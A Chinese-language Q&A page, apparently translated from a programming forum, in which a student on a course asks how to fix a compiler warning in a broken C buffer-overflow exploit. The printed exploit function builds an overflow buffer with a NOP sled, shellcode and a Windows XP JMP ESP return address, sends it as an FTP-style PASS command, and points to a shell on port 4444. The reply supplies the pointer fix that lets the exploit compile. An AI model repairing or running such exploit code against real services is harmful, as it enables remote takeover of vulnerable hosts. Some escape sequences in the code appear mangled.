缓冲区溢出 - 从 C 脚本中不兼容的指针类型赋值



在我正在学习的课程中,我得到了一个用 C 编写的损坏的缓冲区溢出脚本,并且必须修复损坏的编码。到目前为止,我已经修补了一些东西,但是在尝试编译它时收到此错误消息(错误来自初始代码,而不是我编辑的任何内容):

 

646-fixed.c:在函数"利用"中:

646-fixed.c:48:警告:从不兼容的指针类型进行分配

 

下面是发生错误的函数。我对 C 不是很熟悉 - 但从我昨天收到的回复中,我知道这是由于 ptr 的类型是 int,而 evil 的类型是 char。我不明白的是我能做些什么来解决这个问题 - 任何人都可以帮助解决这个问题吗?您也可以在此处查看完整脚本 

void exploit(int sock) {
      FILE *test;
      int *ptr;
      char userbuf[] = "USER madivanrn";
      char evil[3001];
      char buf[3012];
      char receive[1024];
      char nopsled[] = "x90x90x90x90x90x90x90x90"
                       "x90x90x90x90x90x90x90x90";
      memset(buf, 0x00, 3012);
      memset(evil, 0x00, 3001);
      memset(evil, 0x43, 3000);
48    ptr = &evil;
      ptr = ptr + 652; // 2608 
      memcpy(ptr, &nopsled, 16);
      ptr = ptr + 4;
      memcpy(ptr, &shellcode, 317);
      *(long*)&evil[2600] = 0x7CB41010; // JMP ESP XP 7CB41020 FFE4 JMP ESP
      // banner
      recv(sock, receive, 200, 0);
      printf("[+] %s", receive);
      // user
      printf("[+] Sending Username...n");
      send(sock, userbuf, strlen(userbuf), 0);
      recv(sock, receive, 200, 0);
      printf("[+] %s", receive);
      // passwd
      printf("[+] Sending Evil buffer...n");
      sprintf(buf, "PASS %srn", evil);
      //test = fopen("test.txt", "w");
      //fprintf(test, "%s", buf);
      //fclose(test);
      send(sock, buf, strlen(buf), 0);
      printf("[*] Done! Connect to the host on port 4444...nn");
}

注意:我昨天发布了这个,只提供了几行代码,因此无法得到明确的答案 - 所以我删除了它并重新发布了它。

&evil的类型是指向长度为 3001 的数组或字符或 char (*)[3001] 的指针。ptr的类型是指向intint*的指针。这些类型不兼容。您不能将一个分配给另一个。

您可能需要的是指向evil的第一个元素的指针。您可以使用指向char的指针,即 char* ,并为其分配evil

char *ptr;
....
ptr = evil;

在这里,evil衰减到指向数组的第一个元素的指针,因此赋值有效。这等效于分配第一个元素的地址:

ptr = &evil[0];

相关内容

最新更新